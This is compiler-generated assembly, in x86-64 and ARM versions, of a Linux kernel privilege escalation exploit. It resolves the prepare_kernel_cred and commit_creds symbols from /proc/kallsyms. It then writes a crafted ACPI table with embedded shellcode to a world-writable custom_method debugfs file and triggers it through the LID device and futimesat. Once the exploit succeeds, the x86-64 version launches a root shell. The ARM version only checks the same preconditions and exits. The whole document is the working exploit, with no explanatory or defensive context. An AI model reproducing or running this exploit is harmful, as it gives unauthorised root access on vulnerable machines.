	.file	"151704408.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"r"
.LC1:
	.string	"/proc/kallsyms"
.LC2:
	.string	"/proc/ksyms"
.LC3:
	.string	"%p %c %s\n"
.LC4:
	.string	"%p %s\n"
.LC5:
	.string	"_O/"
.LC6:
	.string	"_S."
.LC7:
	.string	"smp"
.LC8:
	.string	"%s\n"
.LC9:
	.string	"2.6"
.LC10:
	.string	"/boot/System.map-%s"
	.text
	.globl	get_symbol
	.type	get_symbol, @function
get_symbol:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 992
	mov	QWORD PTR -984[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -960[rbp], 0
	mov	DWORD PTR -956[rbp], 0
	lea	rsi, .LC0[rip]
	lea	rdi, .LC1[rip]
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	jne	.L20
	lea	rsi, .LC0[rip]
	lea	rdi, .LC2[rip]
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	je	.L21
	mov	DWORD PTR -956[rbp], 1
	jmp	.L2
.L20:
	nop
.L2:
	mov	DWORD PTR -964[rbp], 0
	jmp	.L5
.L15:
	cmp	DWORD PTR -956[rbp], 0
	jne	.L6
	lea	rsi, -528[rbp]
	lea	rcx, -965[rbp]
	lea	rdx, -952[rbp]
	mov	rax, QWORD PTR -944[rbp]
	mov	r8, rsi
	lea	rsi, .LC3[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	mov	DWORD PTR -964[rbp], eax
	jmp	.L7
.L6:
	lea	rcx, -528[rbp]
	lea	rdx, -952[rbp]
	mov	rax, QWORD PTR -944[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	mov	DWORD PTR -964[rbp], eax
	cmp	DWORD PTR -964[rbp], 2
	jne	.L7
	lea	rax, -528[rbp]
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	jne	.L5
	lea	rax, -528[rbp]
	lea	rsi, .LC6[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L9
	jmp	.L5
.L9:
	lea	rax, -528[rbp]
	mov	esi, 95
	mov	rdi, rax
	call	strrchr@PLT
	mov	QWORD PTR -936[rbp], rax
	lea	rax, -528[rbp]
	add	rax, 5
	cmp	QWORD PTR -936[rbp], rax
	jbe	.L7
	mov	rax, QWORD PTR -936[rbp]
	sub	rax, 3
	mov	edx, 3
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L7
	sub	QWORD PTR -936[rbp], 4
	jmp	.L10
.L12:
	sub	QWORD PTR -936[rbp], 1
.L10:
	lea	rax, -528[rbp]
	cmp	QWORD PTR -936[rbp], rax
	jbe	.L11
	mov	rax, QWORD PTR -936[rbp]
	sub	rax, 1
	movzx	eax, BYTE PTR [rax]
	cmp	al, 95
	je	.L12
.L11:
	mov	rax, QWORD PTR -936[rbp]
	mov	BYTE PTR [rax], 0
.L7:
	cmp	DWORD PTR -964[rbp], 0
	jne	.L13
	lea	rdx, -528[rbp]
	mov	rax, QWORD PTR -944[rbp]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	jmp	.L5
.L13:
	lea	rdx, -528[rbp]
	mov	rax, QWORD PTR -984[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L5
	mov	rax, QWORD PTR -944[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	rax, QWORD PTR -952[rbp]
	jmp	.L18
.L5:
	cmp	DWORD PTR -964[rbp], -1
	jne	.L15
	mov	rax, QWORD PTR -944[rbp]
	mov	rdi, rax
	call	fclose@PLT
	cmp	DWORD PTR -960[rbp], 0
	je	.L22
	mov	eax, 0
	jmp	.L18
.L21:
	nop
	jmp	.L4
.L22:
	nop
.L4:
	lea	rax, -928[rbp]
	mov	rdi, rax
	call	uname@PLT
	lea	rax, -928[rbp]
	add	rax, 130
	mov	edx, 3
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	je	.L16
	mov	DWORD PTR -956[rbp], 1
.L16:
	lea	rax, -928[rbp]
	lea	rdx, 130[rax]
	lea	rax, -528[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -528[rbp]
	lea	rsi, .LC0[rip]
	mov	rdi, rax
	call	fopen@PLT
	mov	QWORD PTR -944[rbp], rax
	cmp	QWORD PTR -944[rbp], 0
	jne	.L17
	mov	eax, 0
	jmp	.L18
.L17:
	mov	DWORD PTR -960[rbp], 1
	jmp	.L2
.L18:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L19
	call	__stack_chk_fail@PLT
.L19:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	get_symbol, .-get_symbol
	.section	.rodata
	.align 8
.LC11:
	.string	"[+] resolving required symbols..."
.LC12:
	.string	"sys_futimesat"
	.align 8
.LC13:
	.string	"[-] sys_futimesat symbol not found, aborting!"
.LC14:
	.string	"prepare_kernel_cred"
	.align 8
.LC15:
	.string	"[-] prepare_kernel_cred symbol not found, aborting!"
.LC16:
	.string	"commit_creds"
	.align 8
.LC17:
	.string	"[-] commit_creds symbol not found, aborting!"
	.align 8
.LC18:
	.string	"[+] checking for world-writable custom_method..."
	.align 8
.LC19:
	.string	"/sys/kernel/debug/acpi/custom_method"
	.align 8
.LC20:
	.string	"[-] custom_method not found, kernel is not vulnerable!"
	.align 8
.LC21:
	.string	"[-] custom_method not world-writable, kernel is not vulnerable!"
	.align 8
.LC22:
	.string	"[+] checking for an ACPI LID device..."
	.align 8
.LC23:
	.string	"/proc/acpi/button/lid/LID/state"
	.align 8
.LC24:
	.string	"[-] ACPI LID device not found, but kernel is still vulnerable!"
	.align 8
.LC25:
	.string	"[+] poisoning ACPI tables via custom_method..."
.LC26:
	.string	"w"
	.align 8
.LC27:
	.string	"[+] triggering ACPI payload via LID device..."
	.align 8
.LC28:
	.string	"[+] triggering exploit via futimesat..."
.LC29:
	.string	"/tmp"
	.align 8
.LC30:
	.string	"[-] unexpected futimesat errno, exploit failed!"
	.align 8
.LC31:
	.string	"[-] privileges not escalated, exploit failed!"
.LC32:
	.string	"[+] launching root shell!"
.LC33:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 432
	mov	DWORD PTR -420[rbp], edi
	mov	QWORD PTR -432[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	movabs	rax, 619889054547
	mov	edx, 15874
	mov	QWORD PTR -160[rbp], rax
	mov	QWORD PTR -152[rbp], rdx
	mov	eax, 0
	movabs	rdx, 5500107120365801473
	mov	QWORD PTR -144[rbp], rax
	mov	QWORD PTR -136[rbp], rdx
	movabs	rax, 6631070051158525217
	movabs	rdx, 5281701201469965103
	mov	QWORD PTR -128[rbp], rax
	mov	QWORD PTR -120[rbp], rdx
	movabs	rax, 6557316139056062276
	movabs	rdx, -2302464977617990784
	mov	QWORD PTR -112[rbp], rax
	mov	QWORD PTR -104[rbp], rdx
	movabs	rax, -9125696294151448735
	movabs	rdx, 4704010142663658252
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -88[rbp], rdx
	movabs	rax, 735231812862888771
	movabs	rdx, -8986840811101989583
	mov	QWORD PTR -80[rbp], rax
	mov	QWORD PTR -72[rbp], rdx
	movabs	rax, 2604246907807598828
	movabs	rdx, 2604246224798697508
	mov	QWORD PTR -64[rbp], rax
	mov	QWORD PTR -56[rbp], rdx
	movabs	rax, 5246973941351710911
	movabs	rdx, -5205942053631965303
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], rdx
	movabs	rax, 6559708925409624063
	movabs	rdx, 118302242448655305
	mov	QWORD PTR -32[rbp], rax
	mov	QWORD PTR -24[rbp], rdx
	lea	rdi, .LC11[rip]
	call	puts@PLT
	lea	rdi, .LC12[rip]
	call	get_symbol
	mov	QWORD PTR -400[rbp], rax
	mov	rax, QWORD PTR -400[rbp]
	test	rax, rax
	jne	.L24
	lea	rdi, .LC13[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L24:
	lea	rdi, .LC14[rip]
	call	get_symbol
	mov	QWORD PTR -392[rbp], rax
	mov	rax, QWORD PTR -392[rbp]
	test	rax, rax
	jne	.L25
	lea	rdi, .LC15[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L25:
	lea	rdi, .LC16[rip]
	call	get_symbol
	mov	QWORD PTR -384[rbp], rax
	mov	rax, QWORD PTR -384[rbp]
	test	rax, rax
	jne	.L26
	lea	rdi, .LC17[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L26:
	lea	rdi, .LC18[rip]
	call	puts@PLT
	lea	rax, -368[rbp]
	mov	rsi, rax
	lea	rdi, .LC19[rip]
	call	stat@PLT
	mov	DWORD PTR -404[rbp], eax
	cmp	DWORD PTR -404[rbp], 0
	jns	.L27
	lea	rdi, .LC20[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L27:
	mov	eax, DWORD PTR -344[rbp]
	and	eax, 2
	test	eax, eax
	jne	.L28
	lea	rdi, .LC21[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L28:
	lea	rdi, .LC22[rip]
	call	puts@PLT
	lea	rax, -368[rbp]
	mov	rsi, rax
	lea	rdi, .LC23[rip]
	call	stat@PLT
	mov	DWORD PTR -404[rbp], eax
	cmp	DWORD PTR -404[rbp], 0
	jns	.L29
	lea	rdi, .LC24[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L29:
	mov	rax, QWORD PTR -400[rbp]
	and	eax, 2147483647
	mov	QWORD PTR -400[rbp], rax
	mov	eax, DWORD PTR -400[rbp]
	mov	DWORD PTR -97[rbp], eax
	mov	eax, DWORD PTR -384[rbp]
	mov	DWORD PTR -59[rbp], eax
	mov	eax, DWORD PTR -392[rbp]
	mov	DWORD PTR -52[rbp], eax
	lea	rdi, .LC25[rip]
	call	puts@PLT
	lea	rsi, .LC26[rip]
	lea	rdi, .LC19[rip]
	call	fopen@PLT
	mov	QWORD PTR -376[rbp], rax
	mov	rdx, QWORD PTR -376[rbp]
	lea	rax, -160[rbp]
	mov	rcx, rdx
	mov	edx, 144
	mov	esi, 1
	mov	rdi, rax
	call	fwrite@PLT
	mov	rax, QWORD PTR -376[rbp]
	mov	rdi, rax
	call	fclose@PLT
	lea	rdi, .LC27[rip]
	call	puts@PLT
	lea	rsi, .LC0[rip]
	lea	rdi, .LC23[rip]
	call	fopen@PLT
	mov	QWORD PTR -376[rbp], rax
	mov	rdx, QWORD PTR -376[rbp]
	lea	rax, -224[rbp]
	mov	rcx, rdx
	mov	edx, 64
	mov	esi, 1
	mov	rdi, rax
	call	fread@PLT
	mov	rax, QWORD PTR -376[rbp]
	mov	rdi, rax
	call	fclose@PLT
	lea	rdi, .LC28[rip]
	call	puts@PLT
	mov	edx, 0
	lea	rsi, .LC29[rip]
	mov	edi, 0
	mov	eax, 0
	call	futimesat@PLT
	mov	DWORD PTR -404[rbp], eax
	cmp	DWORD PTR -404[rbp], -1
	jne	.L30
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 73
	je	.L31
.L30:
	lea	rdi, .LC30[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L31:
	call	getuid@PLT
	test	eax, eax
	je	.L32
	lea	rdi, .LC31[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
.L32:
	lea	rdi, .LC32[rip]
	call	puts@PLT
	mov	edx, 0
	lea	rsi, .LC33[rip]
	lea	rdi, .LC33[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L34
	call	__stack_chk_fail@PLT
.L34:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"151704408.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"r\000"
	.align	2
.LC1:
	.ascii	"/proc/kallsyms\000"
	.align	2
.LC2:
	.ascii	"/proc/ksyms\000"
	.align	2
.LC3:
	.ascii	"%p %c %s\012\000"
	.align	2
.LC4:
	.ascii	"%p %s\012\000"
	.align	2
.LC5:
	.ascii	"_O/\000"
	.align	2
.LC6:
	.ascii	"_S.\000"
	.align	2
.LC7:
	.ascii	"smp\000"
	.align	2
.LC8:
	.ascii	"%s\012\000"
	.align	2
.LC9:
	.ascii	"2.6\000"
	.align	2
.LC10:
	.ascii	"/boot/System.map-%s\000"
	.align	2
.LC11:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	get_symbol
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_symbol, %function
get_symbol:
	@ args = 0, pretend = 0, frame = 944
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #952
	str	r0, [fp, #-944]
	ldr	r3, .L23
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-924]
	mov	r3, #0
	str	r3, [fp, #-920]
	ldr	r1, .L23+4
	ldr	r0, .L23+8
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	bne	.L20
	ldr	r1, .L23+4
	ldr	r0, .L23+12
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	beq	.L21
	mov	r3, #1
	str	r3, [fp, #-920]
	b	.L2
.L20:
	nop
.L2:
	mov	r3, #0
	str	r3, [fp, #-928]
	b	.L5
.L15:
	ldr	r3, [fp, #-920]
	cmp	r3, #0
	bne	.L6
	sub	r3, fp, #936
	sub	r3, r3, #1
	sub	r1, fp, #936
	sub	r2, fp, #520
	str	r2, [sp]
	mov	r2, r1
	ldr	r1, .L23+16
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	str	r0, [fp, #-928]
	b	.L7
.L6:
	sub	r3, fp, #520
	sub	r2, fp, #936
	ldr	r1, .L23+20
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	str	r0, [fp, #-928]
	ldr	r3, [fp, #-928]
	cmp	r3, #2
	bne	.L7
	sub	r3, fp, #520
	ldr	r1, .L23+24
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	bne	.L5
	sub	r3, fp, #520
	ldr	r1, .L23+28
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	beq	.L9
	b	.L5
.L9:
	sub	r3, fp, #520
	mov	r1, #95
	mov	r0, r3
	bl	strrchr
	str	r0, [fp, #-916]
	sub	r3, fp, #520
	add	r3, r3, #5
	ldr	r2, [fp, #-916]
	cmp	r2, r3
	bls	.L7
	ldr	r3, [fp, #-916]
	sub	r3, r3, #3
	mov	r2, #3
	ldr	r1, .L23+32
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L7
	ldr	r3, [fp, #-916]
	sub	r3, r3, #4
	str	r3, [fp, #-916]
	b	.L10
.L12:
	ldr	r3, [fp, #-916]
	sub	r3, r3, #1
	str	r3, [fp, #-916]
.L10:
	sub	r3, fp, #520
	ldr	r2, [fp, #-916]
	cmp	r2, r3
	bls	.L11
	ldr	r3, [fp, #-916]
	sub	r3, r3, #1
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #95
	beq	.L12
.L11:
	ldr	r3, [fp, #-916]
	mov	r2, #0
	strb	r2, [r3]
.L7:
	ldr	r3, [fp, #-928]
	cmp	r3, #0
	bne	.L13
	sub	r3, fp, #520
	mov	r2, r3
	ldr	r1, .L23+36
	ldr	r0, [fp, #-932]
	bl	__isoc99_fscanf
	b	.L5
.L13:
	sub	r3, fp, #520
	mov	r1, r3
	ldr	r0, [fp, #-944]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L5
	ldr	r0, [fp, #-932]
	bl	fclose
	ldr	r3, [fp, #-936]
	b	.L18
.L5:
	ldr	r3, [fp, #-928]
	cmn	r3, #1
	bne	.L15
	ldr	r0, [fp, #-932]
	bl	fclose
	ldr	r3, [fp, #-924]
	cmp	r3, #0
	beq	.L22
	mov	r3, #0
	b	.L18
.L21:
	nop
	b	.L4
.L22:
	nop
.L4:
	sub	r3, fp, #912
	mov	r0, r3
	bl	uname
	sub	r3, fp, #912
	add	r3, r3, #130
	mov	r2, #3
	ldr	r1, .L23+40
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L16
	mov	r3, #1
	str	r3, [fp, #-920]
.L16:
	sub	r3, fp, #912
	add	r2, r3, #130
	sub	r3, fp, #520
	ldr	r1, .L23+44
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #520
	ldr	r1, .L23+4
	mov	r0, r3
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	bne	.L17
	mov	r3, #0
	b	.L18
.L17:
	mov	r3, #1
	str	r3, [fp, #-924]
	b	.L2
.L18:
	ldr	r2, .L23
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L19
	bl	__stack_chk_fail
.L19:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L24:
	.align	2
.L23:
	.word	.LC11
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.size	get_symbol, .-get_symbol
	.section	.rodata
	.align	2
.LC13:
	.ascii	"[+] resolving required symbols...\000"
	.align	2
.LC14:
	.ascii	"sys_futimesat\000"
	.align	2
.LC15:
	.ascii	"[-] sys_futimesat symbol not found, aborting!\000"
	.align	2
.LC16:
	.ascii	"prepare_kernel_cred\000"
	.align	2
.LC17:
	.ascii	"[-] prepare_kernel_cred symbol not found, aborting!"
	.ascii	"\000"
	.align	2
.LC18:
	.ascii	"commit_creds\000"
	.align	2
.LC19:
	.ascii	"[-] commit_creds symbol not found, aborting!\000"
	.align	2
.LC20:
	.ascii	"[+] checking for world-writable custom_method...\000"
	.align	2
.LC21:
	.ascii	"/sys/kernel/debug/acpi/custom_method\000"
	.align	2
.LC22:
	.ascii	"[-] custom_method not found, kernel is not vulnerab"
	.ascii	"le!\000"
	.align	2
.LC23:
	.ascii	"[-] custom_method not world-writable, kernel is not"
	.ascii	" vulnerable!\000"
	.align	2
.LC24:
	.ascii	"[+] checking for an ACPI LID device...\000"
	.align	2
.LC25:
	.ascii	"/proc/acpi/button/lid/LID/state\000"
	.align	2
.LC26:
	.ascii	"[-] ACPI LID device not found, but kernel is still "
	.ascii	"vulnerable!\000"
	.align	2
.LC27:
	.ascii	"[-] payload is 64-bit only, but kernel is still vul"
	.ascii	"nerable!\000"
	.align	2
.LC12:
	.ascii	"SSDT\220\000\000\000\002>\000\000\000\000\000\000\000"
	.ascii	"\000\000\000\000\000\000\000\001\020\000\000INTL!\005"
	.ascii	"\011 \024K\006\\/\003_SB_LID__LID\000[\200KMEM\000\014"
	.ascii	"\340a\027\001\013\222\003[\201\014KMEM\000HACKB9p\021"
	.ascii	"4\0121UH\211\345SH\203\354\010H\307\303$$$$H\307\300"
	.ascii	"$$$$\277\000\000\000\000\377\320H\211\307\377\323H\307"
	.ascii	"\300\267\377\377\377H\203\304\010[\311\303HACK\244\001"
	.align	2
.LC28:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 264
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #264
	str	r0, [fp, #-264]
	str	r1, [fp, #-268]
	ldr	r3, .L33
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r2, .L33+4
	sub	r3, fp, #152
	mov	r1, r2
	mov	r2, #144
	mov	r0, r3
	bl	memcpy
	ldr	r0, .L33+8
	bl	puts
	ldr	r0, .L33+12
	bl	get_symbol
	mov	r3, r0
	str	r3, [fp, #-260]
	ldr	r3, [fp, #-260]
	cmp	r3, #0
	bne	.L26
	ldr	r0, .L33+16
	bl	puts
	mov	r0, #1
	bl	exit
.L26:
	ldr	r0, .L33+20
	bl	get_symbol
	mov	r3, r0
	str	r3, [fp, #-256]
	ldr	r3, [fp, #-256]
	cmp	r3, #0
	bne	.L27
	ldr	r0, .L33+24
	bl	puts
	mov	r0, #1
	bl	exit
.L27:
	ldr	r0, .L33+28
	bl	get_symbol
	mov	r3, r0
	str	r3, [fp, #-252]
	ldr	r3, [fp, #-252]
	cmp	r3, #0
	bne	.L28
	ldr	r0, .L33+32
	bl	puts
	mov	r0, #1
	bl	exit
.L28:
	ldr	r0, .L33+36
	bl	puts
	sub	r3, fp, #244
	mov	r1, r3
	ldr	r0, .L33+40
	bl	stat
	str	r0, [fp, #-248]
	ldr	r3, [fp, #-248]
	cmp	r3, #0
	bge	.L29
	ldr	r0, .L33+44
	bl	puts
	mov	r0, #1
	bl	exit
.L29:
	ldr	r3, [fp, #-228]
	and	r3, r3, #2
	cmp	r3, #0
	bne	.L30
	ldr	r0, .L33+48
	bl	puts
	mov	r0, #1
	bl	exit
.L30:
	ldr	r0, .L33+52
	bl	puts
	sub	r3, fp, #244
	mov	r1, r3
	ldr	r0, .L33+56
	bl	stat
	str	r0, [fp, #-248]
	ldr	r3, [fp, #-248]
	cmp	r3, #0
	bge	.L31
	ldr	r0, .L33+60
	bl	puts
	mov	r0, #1
	bl	exit
.L31:
	ldr	r0, .L33+64
	bl	puts
	mov	r0, #1
	bl	exit
.L34:
	.align	2
.L33:
	.word	.LC28
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
